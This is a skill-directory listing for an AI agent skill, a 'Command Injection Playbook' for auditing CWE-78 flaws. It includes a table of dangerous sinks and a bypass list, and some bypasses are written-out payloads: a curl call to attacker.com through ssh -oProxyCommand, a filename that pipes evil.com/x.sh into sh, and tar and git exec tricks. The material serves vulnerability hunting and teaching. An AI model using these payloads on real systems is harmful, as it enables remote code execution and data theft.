debasishtripathy13/pandora/command-injection
Claude Code and agent skill by debasishtripathy13/pandora
- community
Checking that the SKILL.md file is still in the repository.
Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.
Install
npx vskill@latest install debasishtripathy13/pandora/command-injectionSKILL.md
The same SKILL.md was published earlier as debasishtripathy13/pandora/command-injection.
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer | |
|---|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput | subprocess.run([...], shell=False) | |
| Node | child_process.exec, execSync | child_process.execFile, spawn (array args) | |
| Go | exec.Command("sh","-c",user) | exec.Command(bin, arg1, arg2) with array | |
| Java | Runtime.exec(String) | Runtime.exec(String[]), ProcessBuilder([...]) | |
| Ruby | backticks, system(str), %x{...} | Kernel.system(bin, *args), Open3.capture2e | |
| PHP | shell_exec, exec, system, backticks, passthru | escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit
files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick —
convert user.jpg out.pngwhereuser.jpgis
attacker-chosen (classic ImageTragick)
- ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
4. Bypasses
Even when developers "sanitize" via blocklists:
- Argument injection (the -oProxyCommand trick) — passing
-oProxyCommand=curl $(whoami).attacker.comto ssh-based sinks - Space replacement —
${IFS},{ls,-la}(brace expansion) - Backtick/dollar-paren —
$(id), `id` - Command substitution in filename —
$(curl evil.com/x.sh | sh).jpg - Unicode normalisation —
"(fullwidth) vs"bypass - Encoded newline —
%0Aturns single-command into multi-command - TarSlip —
tar xzf user.tgzwith--checkpoint-action=exec=... - Git —
git clone 'ssh://ext::sh -c whoami # foo'
5. PoC ideas
6. validate_finding contract
- success_patterns:
uid=\d+,root, attacker OOB callback hit,total 0 - negative_command: same URL, filename set to
report.pdf - negative_patterns:
200,accepted
7. Default CVSS
| Variant | Vector | Score | |
|---|---|---|---|
| Blind OOB RCE unauth | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 | |
| Authenticated RCE (low priv) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 | |
| RCE with scope change (container escape) | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.
Security
- Security scanPassed, 90 of 100Pattern checks on the skill's files.
- Model reviewPassed
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/analyst/command-injection/SKILL.md
Popularity
- Repository stars
- 1
- 7-day trend score
- 0
Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Grok Build (Cursor)
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/debasishtripathy13/pandora/command-injection)